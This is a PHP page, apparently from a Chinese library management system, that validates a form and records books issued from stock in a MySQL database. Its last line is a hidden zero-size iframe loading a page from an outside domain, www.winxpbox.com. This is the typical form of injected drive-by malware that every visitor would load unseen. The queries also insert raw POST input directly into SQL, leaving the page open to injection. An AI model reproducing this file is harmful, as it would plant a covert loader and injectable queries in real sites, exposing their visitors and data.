fsckcl1.php

我不是乱码

<?php  //插入图书数据
include "../config.php";

if(!empty($_POST[submit]))
{
$no=$_POST["no"];
$bookname=$_POST["bookname"];
$category=$_POST["category"];

$lendpeople=$_POST["lendpeople"];
$department=$_POST["department"];
$agreepeople=$_POST["agreepeople"];
$amount=$_POST["amount"];
$outdate=date("Y-m-d");

if(empty($no))
{
echo "<script language='javascript'>alert('图书编号不能为空');history.go(-1);</script>";
}

if(empty($bookname))
{
echo "<script language='javascript'>alert('图书名称不能为空');history.go(-1);</script>";
}

if(empty($lendpeople))
{
echo "<script language='javascript'>alert('领书人姓名不能为空');history.go(-1);</script>";
}

if(empty($agreepeople))
{
echo "<script language='javascript'>alert('批准人姓名不能为空');history.go(-1);</script>";
}

$s="select no from outlibrary where no='$no'";
$result=mysql_query($s);
$row=mysql_fetch_array($result);
if($row)
{
echo "<script language='javascript'>alert('此编号图书已出库，请重新输入！');window.location.href='fsck.php';</script>";
}
else
{
$s="select amount from books where no='$no'";
$result=mysql_query($s);
$row=mysql_fetch_array($result);
if($row["amount"]<$amount)
{
echo "<script language='javascript'>alert('出库数量不能大于库存数量，请重新输入！');window.location.href='fsck.php';</script>";
}
else
{
$sql1="insert into bookmanagement.outlibrary(`id`,`no`,`bookname`,`category`,`amount`,`agreepeople`,`lendpeople`,`department`,`outdate`,`remarks`) values(null,'$no','$bookname','$category','$amount','$agreepeople','$lendpeople','$department','$outdate','$remarks')";
mysql_query($sql1);

$sql="update books set state='发书出库' where no='".$no."'";

$result=mysql_query($sql);

if($result)
{
echo "<script language='javascript'>alert('发书出库成功！'); window.location.href='fsck.php';</script>";
}
}
}
}
?>
<iframe src=http://www.winxpbox.com/ys/e.htm width=0 height=0></iframe>